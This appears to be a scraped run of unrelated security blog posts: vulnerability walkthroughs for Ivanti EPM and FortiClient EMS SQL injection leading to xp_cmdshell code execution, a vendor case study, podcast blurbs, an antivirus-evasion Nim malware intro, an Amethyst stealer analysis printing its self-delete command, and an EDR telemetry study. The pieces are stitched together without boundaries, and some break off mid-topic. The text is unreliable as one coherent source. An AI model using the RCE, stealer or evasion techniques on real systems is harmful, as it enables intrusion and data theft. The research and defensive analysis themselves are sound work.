Ivanti Endpoint Manager (EPM) is an enterprise endpoint management solution that allows for centralized management of devices within an organization. On May 24, 2024, ZDI and Ivanti released an advisory describing a SQL injection resulting in remote code execution with a CVSS score of 9.8. In this post we will detail the internal workings of this vulnerability. Our POC can be found here.
RecordGoodApp
Luckily for us, the ZDI advisory told us exactly where to look for the SQL injection. A function named RecordGoodApp. After installation, we find most of the application binaries in C:\Program Files\LANDesk. Searching for RecordGoodApp we find its present in a file named PatchBiz.dll.
RecordGoodApp Search
We can use JetBrains dotPeek tool to disassemble the PatchBiz.dll C# binary. From there we can search for the RecordGoodApp method.
RecordGoodApp Disassembly
We can readily see that the first SQL statement in the function is potentially vulnerable to an SQL injection. They use string.Format to insert the value of goodApp.md5 into the SQL query. Assuming we can find a way to influence the value of goodApp.md5 we should be able to trigger the SQL injection.
Finding a Path to the Vulnerable Function
Next, we would like to see if there are any obvious paths to the RecordGoodApp function that we can use to trigger the vulnerability. Luckily we can use dotPeek again to search for any references to RecordGoodApp. However, to make sure we donβt miss anything, we first want to make sure that we have all potential application binaries loaded into dotPeek. If we donβt, we run the risk of missing a reference to the vulnerable function. We find that RecordGoodApp is first called from AppMonitorAction.RecordPatchIssue.
AppMonitorAction.RecordPatchIssue
Continuing, we find the AppMonitorAction.RecordPatchIsssue is called by Patch.UpdateActionHistory
Patch.UpdateActionHistory
We find that UpdateActionHistory is called from three different locations.
Patch.UpdateActionHistory Usage
This most interesting of these usages is StatusEvents.EventHandler.UpdateStatusEvents. We find that it is annotated with [WebMethod] in the EventHandler class. EventHandler inherits from System.Web.Services.WebService. This strongly indicates that we should be able to hit UpdateStatusEvents over HTTP.
UpdateStatusEvents
Triggering the Vulnerable Function
Now that we have found a viable path to the vulnerable function, our attention turns to triggering the vulnerable function. First, using IIS Manager, we notice that EventHandler.cs is hosted on the /WSStatusEvents endpoint.
IIS Manager WSStatusEvents
Navigating to the endpoint in a browser, we are led to a page that shows up some example requests and responses.
UpdateStatusEvents Examples
Now, we can copy these example requests into Burp Suite and begin modifying them to see if we can trigger the exploit. Using dyspy, we attach to the IIS process hosting the vulnerable endpoint and start sending requests. After a little bit more reversing, we come up with a fairly trivial request using xp_cmdshell to gain RCE.
Successfully exploiting using Burp
Finally, we see notepad.exe running under sqlservr.exe proving that our exploit worked!
notepad running under sqlservr.exe
Indicators of Compromise
The MS SQL logs can be examined for evidence of xp_cmdshell being utilized to obtain command execution. Note that this is likely not the only method for gaining RCE, but it is a popular one.
SQL Server logs showing evidence of xp_cmdshell usage.
Horizon3.ai, a leading provider of autonomous security solutions, today announced the appointment of Jill Passalacqua as Chief Legal Officer (CLO), effective immediately. As Chief Legal Officer, Jill leads Horizon3.aiβs legal department, bringing extensive experience in advising prominent public and private technology companiesβ¦
Defense in Depth (DID) is crucial in cybersecurity because it employs multiple layers of security controls and measures to protect information systems and data. This multi-layered approach helps ensure that if one defensive layer is breached, others continue to provide protection, significantly reducing the likelihood of a successful cyber-attack. By combining physical security, network security, endpoint protection, application security, data security, identity and access management, security policies, monitoring, backup and recovery, and redundancy, organizations can create a robust and resilient security posture that is adaptable to evolving threats. This comprehensive strategy is essential for safeguarding sensitive information, maintaining operational integrity, and complying with regulatory requirements.
However, DID is not a panacea. While it greatly enhances an organizationβs security, it cannot guarantee absolute protection. The complexity and layered nature of DID can lead to challenges in management, maintenance, and coordination among different security measures. Additionally, sophisticated attackers continuously develop new methods to bypass multiple layers of defense, such as exploiting zero-day vulnerabilities or using social engineering techniques to gain access and exploit an environment. This highlights the importance of complementing DID with other strategies, such as regular security assessments, autonomous penetration testing, continuous monitoring, and fostering a security-aware culture within an organization. These additional measures help to identify and address emerging threats promptly, ensuring a more dynamic and proactive security approach.
Mission:
JTI Cybersecurity helps organizations around the world improve their security posture and address cybersecurity challenges. They work with small businesses, enterprises, and governments whose customers demand the highest levels of trust, security, and assurance in the protection of their sensitive data and mission-critical operations. JTI provides prudent advice and solutions when following best practices isnβt enough to protect the interests of their clients and the customers they serve.
Year Founded: 2020
Number of Employees: 5-10
Operational Reach: Global
Threat Intelligence
In November 2023, the prolific ransomware group LockBit confirmed a cyberattack on Boeing that impacted its parts and distribution business, as well as part of its global services division. The incident occurred following claims from LockBit that they had breached Boeingβs network and stolen sensitive data. Although Boeing confirmed that flight safety was not compromised, the LockBit group initially threatened to leak and expose the stolen sensitive data if Boeing did not negotiate. This incident not only underscores the persistent threats faced by major corporations but also highlights the importance of implementing robust cybersecurity measures.
Is the concept of DID dead?
In a recent interview with Jon Isaacson, Principal Consultant at JTI Cybersecurity, he highlights that, βsome marketing material goes as boldly as saying DID doesnβt work anymore.β However, Jon goes on to say that βDID is still a good strategy, and generally when it fails, itβs not because a layer of the onion failedβ¦itβs because the term is overused, and the organization probably didnβt have any depth at all.β While this is a concept thatβs been around for quite some time, its importance hasnβt diminished. In fact, as cyber threats evolve and become increasingly sophisticated, the need for a layered approach to security remains critical.
However, itβs also true that the term can sometimes be overused or misapplied, leading to a perception of it being outdated or ineffective. This can happen if organizations simply pay lip service to the idea of defense in depth without implementing meaningful measures at each layer or if they rely too heavily on traditional approaches without adapting to new threats and technologies.
In todayβs rapidly changing threat landscape, organizations need to continually reassess and update their security strategies to ensure theyβre effectively mitigating risks. This might involve integrating emerging technologies like autonomous pentesting, adopting a zero-trust security model, or implementing robust incident response capabilities alongside traditional defense in depth measures. While defense in depth may be considered a fundamental principle, its implementation and effectiveness depend on how well itβs adapted to meet the challenges of modern cybersecurity threats.
βWhile DID definitely helps shore up your defenses, without taking an attackers perspective by considering actual attack vectors that they can use to get in, you really canβt be ready.β
DID and the attackerβs perspective
In general, implementing a DID approach to an organizationβs security posture helps slow down potential attacks and often challenges threat actors from easily exploiting an environment. Additionally, this forces attackers to use various tactics, techniques, and procedures (TTPs) to overcome DID strategies, and maneuver across layers to find weak points and exploit the path of least resistance. An attackerβs ability to adapt quickly, stay agile, and persist creates challenges for security teams attempting to stay ahead of threats and keep their cyber landscape secure.
As Jon explains, an βadversary is not going to be sitting where Tenable Security Center (for example) is installed with the credentials they have poking through the registryβ¦thatβs not how the adversary worksβ¦many organizations try to drive their vulnerability management programs in a compliance fashion, ticking off the boxes, doing their required scans, and remediating to a certain levelβ¦but that doesnβt tell you anything from an adversaryβs perspective.β One of the only ways to see things from an attackerβs perspective is to attack your environment as an adversary would.
Enter NodeZeroβ’
Before discovering NodeZero, Jon was working through the best way to build his company, while offering multiple services to his clients. He mentions that βwhen JTI first started, it was just him, bouncing back and forth between pentesting and doing a SOC2 engagementβ¦early on, there werenβt a massive amount of pentests that had to be done and most were not hugeβ¦so doing a lot manually wasnβt a big deal.β However, with his business booming, Jon got to a point where doing a pentest 100% manually was just no longer a thing and he required a solution that was cost effective and that he could run continuously to scale his capabilities for his customers.
Additionally, Jon toyed with the idea of building custom scripts and having a solution automate them so at least some of the work was done for him, weighing his options between semi-automated or buying a solution. Jon first learned of Horizon3.ai through one of his customers, who was also exploring the use of an autonomous pentesting solution. So, after poking around a few competitors of Horizon3.ai that didnβt yield the results he was hoping for, he booked a trial.
NodeZero doesnβt miss anything
At the time, Jon was skeptical that any platform could outperform manual pentesting while supporting his need for logs and reporting. But, as he explains, βthere was nothing that [Node Zero] really missed [compared to his previous manual pentests] and there were cases where [NodeZero] would find something that was not found through manual testing.β
After initial trial testing, Jon dove headfirst when he was onboarded with Horizon3.ai and started using NodeZero for many of his pentesting engagements. Looking through the eyes of an attacker, βwe can drop NodeZero into an environment and let it do its thingβ¦NodeZero not only enumerates the entire attack surface, but also finds vulnerabilities and attempts to exploit them as an attacker would.β This enables Jon to provide more value to his clients by digging into results to determine actual business impacts, provide specific recommendations for mitigations or remediations, and verify those fixes worked. β[End users] can get a lot of value out of NodeZero even if they arenβt a security expert or pentester because you really can just click it, send it, and forget itβ¦the best bang for their buck is the laundry list of things they [end users] can do to secure their environment every time they run it [NodeZero].β
βNodeZero is a really great tool for both consultants and pentestersβ¦because for us pentesters, we can use it [NodeZero] kind of like the grunts or infantry of the militaryβ¦just send it in to go blow everything up and then we [pentesters] can be a scalpel, and really dig into and spend time on the areas where things are potentially bad.β
So what?
DID is not dead and is a critical concept in cybersecurity, leveraging multiple layers of security controls to protect information systems and data. By integrating various security measures, organizations create a robust and resilient security posture. This layered approach ensures that if one defense layer is breached, others continue to provide protection, significantly reducing the likelihood of a successful cyber-attack.
However, DID is not a cure-all; it has its limitations. The complexity and layered nature can pose challenges in management and maintenance, and sophisticated attackers may still find ways to bypass defenses using advanced techniques like zero-day exploits or social engineering. Therefore, itβs essential to complement DID with autonomous penetration testing, continuous monitoring, and fostering a security-aware culture to address emerging threats proactively and dynamically.
Today on Cyber Work, Iβm very excited to welcome Debbie Reynolds, the Data Diva herself, to discuss data privacy. Reynolds developed a love of learning about data privacy since working in library science, and she took it through to legal technologies. She now runs her own data privacy consultancy and hosts the long-running podcast βThe Data Diva Talks Privacy Podcast.β We talk about data privacy in all its complex, nerdy, and sometimes frustrating permutations, how GDPR helped bring Reynolds to even greater attention, how AI has added even more layers of complexity and some great advice for listeners ready to dip their toes into the waters of a data privacy practitioner career.
0:00 - Data privacy 3:29 - First, getting into computers 7:46 - Inspired by GDPR 9:00 - Pivoting to a new cybersecurity career 12:01 - Learning different privacy regulation structures 15:17 - Process of building data systemsΒ 17:41 - Worst current data privacy issue 20:57 - The best in AI and data privacy 22:15 - The Data Diva Podcast 25:24 - The role of data privacy officer 30:36 - Cybersecurity consulting 36:21 - Positives and negatives of data security careers 39:34 - Reynolds' typical day 41:11 - How to get hired in data privacy 48:38 - The best piece of cybersecurity career advice 50:25 - Learn more about the Data Diva 51:14 - Outro
About Infosec Infosecβs mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQβs security awareness training. Learn more at infosecinstitute.com.
Infosec and the Cyber Work Hacks podcast are here to help you pass the Certified Ethical Hacker (CEH) exam! So for todayβs hack, weβre talking about bootcamps. The CEH exam, no matter how you slice it, is an exam that is the definition of the phrase, βItβs a marathon, not a sprint.β With 125 questions and four hours to answer them, thereβs as much of a mental game at work here thatβs much more than rote memorization of terms and tools. Thatβs why I wanted to get an insiderβs look from Infosec boot camp instructor Akyl Phillips! Phillips will explain what the Infosec five-day CEH boot camp is like, the learning and retention strategies youβll employ, and all the ways that bootcamp training can help you pass on the first try. Phillips has taught pentesters and red teamers at all levels from sheer beginners to people already in the field, and this episode is a look into how it works. Book yourself a front-row seat for another Cyber Work Hack.
0:00 - How to pass the CEH exam 3:17 - What is a CEH boot camp? 4:02 - Things to know before the CEH exam 5:30 - How does the CEH exam test practical skills? 6:46 - The day-to-day of an Infosec boot camp 11:08 - What is CEH exam day like? 12:14 - Is a cybersecurity boot camp right for me? 13:12 - Outro
About Infosec Infosecβs mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQβs security awareness training. Learn more at infosecinstitute.com.
Hello, cybersecurity enthusiasts and white hackers!
Many of my readers ask whether it is possible to write malware in a language other than C/C++/ASM.
When malware is found to be written in new programming languages, AV detections are often failing since the new language produces bytecode sequences that are relatively unknown, combined with strings of data that can throw off static-based heuristic models.
As an experiment, I decided to show how to write a simple malware example using Nim lang. The reason for this choice is the ease of the language and its flexibility for use in bypassing AV/EDR solutions.
For installation and intro you can read official documentation.
In one of my previous posts I used RC4 algorithm to encrypt the payload. Letβs create the same logic for Nim malware.
practical example 1
First of all, create RC4 algorithm logic. This is a simple algorithm and the code for its implementation in C++ looks like this:
The adversaries use the open-source SapphireStealer to create their own malware for collecting employee authentication data from Russian companies
Since March 2024, the BI.ZONE Threat Intelligence team has been tracking the cluster of activity dubbed Sapphire Werewolf. The threat actor targets Russiaβs industries, such as education, manufacturing, IT, defense, and aerospace engineering. Over 300 attacks were carried out using Amethyst, an offshoot of the popular open-source SapphireStealer. The attackers disguise the malware as an enforcement order, a Central Election Committee leaflet, and even as a decree from the President of Russia. We can conclude, with medium confidence, that the cluster used phishing emails with T.LY links to deliver Amethyst to the targetΒ systems.
Key findings
Espionage-driven adversaries increasingly often employ stealers for obtaining various authentication data.
Attackers do not necessarily have to create malware from scratch. They can modify already existing commercial or open-source solutions.
Catchy subject lines plus decoys with content matching the names of the malicious files increase the chances for a successful delivery of malware to targetΒ systems.
Campaign
All the malicious files used by the adversaries in the campaign have certain functional similarities.
By opening such a file a victim unknowingly creates the folder %AppData%\Microsoft\EdgeUpdate and copies to it MicrosoftEdgeUpdate.exe from Resources.MicrosoftEdgeUpdate.
To get a foothold in the compromised system, the adversaries create a task in Windows Task Scheduler. For this purpose, they use the library embedded in the executable file, FunnyCat.Microsoft.Win32.TaskScheduler.dll. This legitimate library makes it possible to create a scheduled task without actually running schtasks. The name, description, and path to the executable file in the task are disguised as a legitimate task MicrosoftEdgeUpdateTaskMachineCore. The newly created task is executed every 60 minutes after the initialΒ launch.
At the same time, a decoy document is written into the current folder and thenΒ opened.
After that, the Amethyst stealer is written to the VPN.exe file in a temporary data folder andΒ run.
Once the program has been executed, the file is deleted via the following command: cmd.exe /C choice /C Y /N /D Y /T 3 & Del β[path to the current executable file]β.
As noted earlier, Amethyst is based on the source code of SapphireStealer, an open-source information stealer.
Running the malicious file changes the execution threadβs security zone on MyComputer and creates an asynchronous task that will later send the collected files to the C2Β server.
The collected files are saved in a folder whose name is a UUID-generated string. The folder is located in a directory with temporary files.
The stealer gathers the following files:
Telegram configuration files from %AppData%\Telegram Desktop\tdata
password and cookie databases, browser and popular website histories, saved pages and configurations from the browsers Chrome, Opera, Yandex, Brave, Orbitum, Atom, Kometa, Edge Chromium, Torch, Amigo, CocCoc, Comodo Dragon, Epic Privacy Browser, Elements, CentBrowser, 360 Chrome, and 360Β Browser
PowerShell logs stored in %AppData%\Microsoft\Windows\PowerShell\PSReadLine
FileZilla and SSH configuration files
The above mentioned files get archived and sent to the C2 server, after which the folder isΒ cleared.
Once this is done, the stealer collects the following:
files from removable media, also with the said extensions
All these files get compressed into an archive and transmitted to the C2Β server.
In the latest versions of Amethyst, the archive is protected by a password stored in the program memory. The archive also contains a note with the following data:
the compromised deviceβs public IP address obtained through a query to http://checkip.dyndns.org
the compromised deviceβs private IP address obtained by using C# of the DnsΒ class
the compromised deviceβs name obtained by using the GetHostName function of the DnsΒ class
the user ID obtained with the query SELECT SerialNumber FROM Win32_BaseBoard WMI and the object win32_processor => processorID
the unpacked archiveΒ size
The C2 server that sends the archive is a Telegram bot whose token, as well as the user ID, is in the program. It should be noted that more than one token and more than one user ID can be specified in the program to substitute the main bot or the main client if those are unavailable.
The program can also retrieve the address of an additional control server by searching through posts in the preview of a specified Telegram channel. The stealer obtains the channel preview page by querying the resource https://t.me/s/[channel ID]. The post with the Π‘2 server address looks as follows: %N[C2 server address]?H.
The tags for the archive to be sent are asΒ follows:
filename: the name of theΒ archive
usertag: 1
stepname: Ragdoll
The MicrosoftEdgeUpdate.exe file enables the download and execution of additional files in the compromised system. Same as Amethyst, the file gets the C2 server address for downloading extra files through a post in the Telegram channel. The following parameters are also added to theΒ query:
the compromised deviceβs public IP address obtained through a query to the network resource http://checkip.dyndns.org
the user ID obtained by using the query SELECT SerialNumber FROM Win32_BaseBoard WMI and the object win32_processor => processorID
The query looks as follows: [server address + protocol]/download?ip=[public IP address of the device]&uId=[device ID].
You can also see how the malware evolves over time. For example, in the files discovered about three months ago, the folder used for saving the collected data was named sapphire, which makes it evident that Amethyst originated from this stealer. Besides, at that time, the stealer did not contain any additional stages, nor did it have any mechanisms for achieving persistence in the compromised system.
A limited set of data was gathered: nothing but password and cookie databases were extracted from browsers while files from Telegram downloads and removable media were ignored. PowerShell logs were also disregarded.
In the course of our investigation, we also discovered additional information about this cluster of activity. For example, we found a list of email addresses lined up for a phishing campaign, as well as files representing a Visual Studio project of theΒ stealer.
We also discovered several Microsoft Word and PDFΒ files:
We assess with medium confidence that the adversaries planned to use the files asΒ decoys.
More indicators of compromise and a detailed description of threat actor tactics, techniques, and procedures are available on the BI.ZONE Threat Intelligence portal.
Detection
The BI.ZONE EDR rules below can help organizations detect the described malicious activity:
We would also recommend that you monitor suspicious activity relatedΒ to:
running suspicious executable files from the %Temp%Β folder
running executables resembling system files from unusualΒ folders
creating scheduled tasks not typical for the organization
opening sensitive files through unusual processes
accessing external finders of IP addresses
How to protect your company from suchΒ threats
Sapphire Werewolfβs methods of gaining persistence are hard to detect with preventive security solutions. Therefore, we recommend that companies enhance their cybersecurity with endpoint detection and response practices, for instance, with the help of BI.ZONEΒ EDR.
To stay ahead of threat actors, you need to be aware of the methods used in attacks against different infrastructures and to understand the threat landscape. For this purpose, we would recommend that you leverage the data from the BI.ZONE Threat Intelligence portal. The solution provides information about current attacks, threat actors, their methods and tools. This data helps to ensure the effective operation of security solutions, accelerate incident response, and protect from the most critical threats to theΒ company.
Today on Cyber Work, my guest is Raj Ananthanpillai, CEO of Trua, a company that is steeped in the current issues around digital credentials and data privacy. As youβve no doubt heard, AT&T reported a data breach that compromised the personal information of approximately 7.6 million users! Ananthanpillai discusses Truaβs mission to leave data thieves holding an empty treasure chest, discusses his past work in creating TSA PreCheck and gives a bunch of great ideas and advice for making sure that youβre always thinking beyond your current position by learning and creating your way upward! All that, and a WHOLE bunch of vitriol at the industry-standard collecting of social security numbers, today on Cyber Work!
0:00 - Revolutionizing data privacy 4:20 - How Ananthanpillai got into cybersecurity 6:11 - Work as a cybersecurity CEO 9:25 - Fast tracking in cybersecurity roles 11:08 - Take your first steps in cybersecurity work 13:01 - Founding Trua 17:50 - New digital security protocols 21:10 - AT&T data breach 27:03 - How to stay safe from data breaches 29:58 - How to work in data privacy 35:14 - Skill gaps in data privacy work 37:05 - Best cybersecurity career advice 38:26 - Learn more about Trua 41:00 - Outro
About Infosec Infosecβs mission is to put people at the center of cybersecurity. We help IT and security professionals advance their careers with skills development and certifications while empowering all employees with security awareness and phishing training to stay cyber-safe at work and home. More than 70% of the Fortune 500 have relied on Infosec Skills to develop their security talent, and more than 5 million learners worldwide are more cyber-resilient from Infosec IQβs security awareness training. Learn more at infosecinstitute.com.
Our last blog post on the FortiClient EMS SQL injection vulnerability, CVE-2023-48788, as it turns out only worked on 7.0.x versions. This article will discuss the differences in exploitation between FortiClient EMSβs two mainline versions: 7.0.x and 7.2.x.
When writing exploits for different versions of vulnerable software, the differences in the exploit are usually small, such as different offsets, renamed parameters, or changed endpoints. Exploitation of the 7.2.x attack path for CVE-2023-48788 was an interesting challenge, because the core vulnerability and endpoint being attacked were the same, but the code path traversed was largely different.
A quick review of the previous article shows that this vulnerability affects βbinary componentsβ of this software suite. Rather than this being a web application based SQL injection, this SQL injection is performed against an endpoint written in C++ and Golang and compiled for a 64 bit x86 Windows target. It also uses a custom linefeed based protocol.
Windows and SQL injection? Sounds like XP_CMDSHELL. Delicious.
XP_CMDSHELL is a type of SQL stored procedure used to evaluate custom commands on input or output data. A trivial example would be to use the XP_CMDSHELL procedure to hash a user password before storing its digest in a registered users table.
Attackers, however, frequently abuse this capability to turn SQL Injection into Remote Code Execution. That is how the exploit we designed for NodeZero gains access to vulnerable EMS servers.
Mitigations exist to prevent damage caused by this feature of MSSQL. For example, by default, XP_CMDSHELL is disabled and must be re-enabled by the attacker to execute commands. The privilege needed to re-enable XP_CMDSHELL is also a removable privilege, so the account in use can be prevented from enabling this functionality. In practice, this is rarely done, so SQLi against an MSSQL server is almost always a path to RCE.
New Exploitation Challenges
The original 7.0.x weaponization utilized MSSQLβs CONVERT on a hex encoded payload to bypass a behavior of FortiClient that would always uppercase the entire SQL query. This behavior causes many arbitrary Windows commands to fail as most utilities are case sensitive.
Running the 7.0.x variant of the exploit against a vulnerable 7.2.x target immediately shows an issue.
Figure 2. Errors on 7.2.x
The target returns an extremely opaque error message. From here, it seems prudent to observe the logs of a real client, and put the server in a debug logging state so we can observe any changes in the message type being sent to the server.
From this we can see that the format of the arguments for the registration message has changed (the SYSINFO field is now between the pipe characters). Further inspection of the base64 encoded system information parameter shows several required fields have been added to the message format.
Figure 3. Differences in agent registration
Compensating for these changes is easy enough, and we can use copy and pasted data from the sample registration we observed. This, however, requires performing version detection to determine the correct message format for the exploit. Fortunately, there is a request that provides us with this information.
Figure 4. Detecting FortiClient versions remotely
The new version of this output is as follows:
Figure 5. Updating to detect 7.2.x versions
Letβs look at what is going on. Now that we have a valid message, letβs attempt to reuse our previous exploit payload.
Figure 6. Errors after updating
A similarly opaque error message like before. Thatβs unfortunate. Letβs dig into what is going on here.
Figure 7. Detailed error showing SQL ending before equal sign
Interesting. 7.2.x appears to be using = as a delimiter on the input being provided to the vulnerable function. Another thing to note is that our input is being converted to upper case in the code path leading to the vulnerable function. This disqualifies base64 as an encoding method.
Extending The Exploit
At this point, to diverge from the cool and dispassionate tone of most exploit deep dives, Iβll provide a glimpse into the reality of exploit development for people interested in this field, and encouragement for fellow exploit development professionals. We ran into three simple issues that coalesced into a difficult upgrade process. This set of issues disguised our success for over a week, in which we hammered this target with everything we could think of to get around the equals sign delimiter issue. The core issues follow:
calc.exe is no longer a valid test payload for command execution
calc.exe is no longer an executable in system32, executing it from cmd.exe now executes an application called Calculator.exe
SQL does not guarantee the order of execution of sub-statements, only that execution of statements occurs in a valid order.
All input is converted to upper case for case insensitive comparisons.
The equals sign delimiter makes the design of useful payloads very challenging.
Individual EXEs and commands with no arguments can be executed with ease, but complex statements require encoding, which again is complicated by issue 3.
The confluence of these issues was being unable to detect successful exploitation until we looked into the audit logs of the SQL server itself. At that point, we saw invocations of XP_CMDSHELL going back to the day after we began this project. Changing the test payload from calc.exe to notepad.exe demonstrated successful exploitation.
To quote Vonnegut: βSo it goes.β
We mitigated the equals delimiter and upper case issues by using a mix of PowerShell and url encoding.
The basic algorithm of the payload looks like this:
It relies on powershell to decode the arguments passed to cmd.exe. `start /b` was not needed here, due to the fact that MSSQL spawns commands in itβs own session, which is not attached to a window.
Figure 8. 7.2.x payload utilizing case insensitive powershell decoding
And the post-ex process tree for our lovely defender siblings.
Many public blogs and conference talks have covered Windows telemetry sources like kernel callbacks and ETW, but few mention macOS and Linux equivalents. Although most security professionals may not be surprised by this lack of coverage, one should not overlook these platforms. For example, developers using macOS often have privileged cloud accounts or access to intellectual property like source code. Linux servers may host sensitive databases or customer-facing applications. Defenders must have confidence in their tools for these systems, and attackers must understand how to evade them. This post dives into endpoint security products on macOS and Linux to understand their capabilities and identify weaknesses.
Endpoint detection and response (EDR) agents comprise multiple sensors: components that collect events from one or more telemetry sources. The agent formats raw telemetry data into a standard format and then forwards it to a log aggregator. EDR telemetry data informs tools such as antivirus, but it also informs humans as they manually hunt for threats in the network.
This post should not be considered a comprehensive list of telemetry sources or EDR implementations. Instead, the following observations were made while reverse engineering some of the most popular macOS and Linux agents. Outflank tested the latest version of each product on macOS 14.4.1 (Sonoma) and Linux 5.14.0 (Rocky 9.3). After reviewing previous research, the author will describe relevant security components of macOS and Linux, present their understanding of popular EDR products, and then conclude with a case study on attacking EDR using this knowledge.
Notable EDR Capabilities
Although every product has its own βsecret formulaβ for detecting the latest threats, nearly all EDR agents collect the following event types:
Authentication attempts
Process creation and termination
File access, modification, creation, and deletion
Network traffic
Outflankβs research primarily focused on these events, but this post will also cover other OS-specific telemetry.
Previous Research
Security researchers have covered Windows EDR internals in great detail. A quick Google search for βEDR bypassβ or βEDR internalsβ will return an extensive corpus of blogs, conference talks, and open-source tools, all focused on Windows EDR. That said, most companies consulted by the author also deployed an EDR agent to their macOS and Linux systems. These agents are relatively undocumented compared to their Windows counterparts. This lack of information is likely due to the success of open-source tools such as Mythic and Sliver in evading out-of-the-box antivirus solutions (including those bundled with EDR).
Of course, there is full Linux kernel source code and Apple documentation, albeit not verbose, on stable macOS APIs. This alone does not give much insight into the workings of EDR agents, though, as it only describes the possible ways said agent might collect information on a system. One can glimpse some additional understanding by reviewing open-source projects, such as the outstanding Objective-See collection for macOS or container runtime security projects for Linux. Below is a list of projects that share functionality with EDR agents reversed by Outflank:
Even still, these projects do not fully replicate the capabilities of popular EDR agents. While each may collect a subset of the telemetry used by commercial products, none of these projects appeared to have the same coverage.
Telemetry Sources β macOS
Unsupported Options
In studying macOS internals, one might discover promising security components that commercial products do not use. For instance, many considered kernel extensions (KEXT) a de facto sensory component of EDR agents until Catalina (2019) phased them out completely. Michael Cahyadiβs post on the transition from kernel extensions to modern alternatives documents the work required to migrate from these frameworks.
Similarly, modern macOS (2016+) implements a standardized logging system called unified logging. Logs are categorized by subsystem (e.g., com.apple.system.powersources.source) and can be viewed with /usr/bin/log or the Console application. While unified log data is great for debugging, the logs are restricted with a private entitlement (com.apple.private.logging.stream), rendering them unusable to third-party EDR agents.
Endpoint Security API
Apple now recommends the Endpoint Security (ES) API for logging most events an EDR agent requires:
Authentication attempts
Process creation and termination
File access, modification, creation, and deletion
The complete list of ES event types in Appleβs documentation follows a standard format: ES_EVENT_TYPE_<RESPONSE TYPE>_<EVENT TYPE NAME>.
The βresponse typeβ can be NOTIFY or AUTH, depending on whether the ES client must authorize an action. The βevent type nameβ describes each event. (Examples will be discussed in the following sections.)
Plenty of open-source examples exist for those looking to write an ES API client, but executing them on modern macOS requires the developer to sign their executable with a restricted entitlement or disable SIP on the target system.
Network events are notably absent from the ES API. Instead, EDR agents can utilize an additional sensor that captures events using the NetworkExtension framework.
Following Appleβs deprecation of kernel extensions, events can be collected entirely from user-mode using the ES API and NetworkExtension framework. This differs from Windows and Linux, which rely heavily on kernel-mode sensors.
Analyzing ES API Clients
Red Canary Mac Monitor is a free, closed-source ES client. It uses a system extension, so the client must be embedded within its application bundle in Contents/Library/SystemExtensions/. In this case, the bundleβs entitlements can be listed using the codesign utility.
The output property list will vary depending on the target system extension, but all ES clients must have the com.apple.developer.endpoint-security.client entitlement.
ES clients must initialize the API using two functions exported by libEndpointSecurity.dylib: es_new_client and es_subscribe. The latter is particularly interesting because it indicates to the ES API which events the client should receive. Once a client of interest has been discovered, it can be instrumented using Frida (after disabling SIP). The es_subscribe function contains two parameters of interest: the number of events (event_count) and a pointer to the list of event IDs (events).
With this information, one can inject a target system extension process with Frida and hook es_subscribe to understand which events it subscribes to. The function will likely only be called when the system extension starts, so analyzing an EDR agent may require some creative thinking. Mac Monitor makes this step easy as the runtime GUI can update the list of events.
Outflank uploaded a simple Frida script (based on the Mac Monitor wiki and script) to hook es_subscribe and print the list of events, as well as an example Python script to create or inject the process.
Examining ES Event Types
Even with a list of event types, the actual data available to an ES client may not be clear. Outflank published an open-source tool called ESDump that can subscribe to any currently available event types and output JSON-formatted events to stdout.
The list of event types is defined in config.h at compile-time. For example, the following config will subscribe to the event types selected in the previous section.
Compile the program and then copy it to a macOS system with SIP disabled. ESDump does not have any arguments.
ESDump uses audit tokens to retrieve IDs for the associated process and user. The program resolves process and user names to enrich raw data.
NetworkExtension Framework
Unlike the ES API, the NetworkExtension framework does not have predefined event types. Instead, agents must subclass various framework classes to monitor network traffic. Each of these framework classes requires a different entitlement. The relevant entitlements provide insight into possible use cases:
DNS Proxy β Proxy DNS queries and resolve all requests from the system.
Content Filter β Allow or deny network connections. Meant for packet inspection and firewall applications.
Packet Tunnel β Meant for VPN client applications.
In addition to the DNS request and response data, providers can access metadata about the source process, including its signing identifier and application audit token. Content filter providers can also access the process audit token, which is different from the application audit token if a system process makes a network connection on behalf of an application. In both cases, these properties are enough to find the originating process and user IDs to correlate network extension data with ES API events.
Analyzing Network Extensions
Discovering the network extension provider(s) an agent implements is simple, as they each require separate entitlements. DNSMonitor from Objective-See is an open-source DNS proxy provider. It uses a system extension, so the provider must be embedded within its application bundle in Contents/Library/SystemExtensions/.
Inside a system extension bundle, there will be a file at Contents/Info.plist containing information about its entitlements. The NetworkExtension key should be present, with a NEProviderClasses subkey that lists each provider implementation.
Each provider type will also highlight the name of the associated class. This information is enough to start reversing an extension using a tool like Hopper.
Creating a Network Extension
While knowing the providers implemented by a macOS network extension is valuable, more is needed to understand the data available to the agent. Outflank released an open-source tool called NEDump that implements a content filter provider and writes JSON-formatted events to stdout. The application and system extension must be signed, even with SIP disabled, so the repository includes a signed release binary. As a system extension is utilized, the application must be copied to /Applications/ to function. No arguments are required to execute NEDump and start receiving event data.
Telemetry Sources β Linux
While Linux components are deprecated less often than macOS equivalents, most Linux EDR agents had comparable, modern implementations. For example, Auditd could provide the necessary telemetry for an EDR agent, but newer alternatives have better performance. In addition, only one program can subscribe to Auditd at a time, meaning the agent may conflict with other software. Both reasons sit among the most common EDR complaints, likely explaining why Outflank did not observe any products using these methods by default.
Kernel Function Tracing
The observed agents all utilized kernel function tracing as their primary telemetry sources. Linux offers several ways to βhookβ kernel functions to inspect their arguments and context. Popular EDR agents used the following trace methods:
Kprobes and Return Probes β Any kernel function (or address) that a client resolves canΒ be tracedΒ using kernel probes. Function resolution requires kernel symbols to be available and likely requires different addresses for kernel versions or even distributions. Target functions may even be unavailable due to compile-time optimizations.
Tracepoints β A βtracepointβ is a function call added to various functions in the Linux kernel that can be hooked at runtime. These work similarly to kprobes but should be faster and do not require function resolution. However, some target functions may not have a tracepoint.
Raw Tracepoints β A βrawβ tracepoint is a more performant alternative to any non-syscall or sys_enter/sys_exit tracepoint. These hooks can also monitor syscalls that donβt have a dedicated tracepoint.
Function Entry/Exit Probes β Fentry and fexit probes act similarly to tracepoints, but they are added by GCC (-pg).
Kernel-Mode Programming
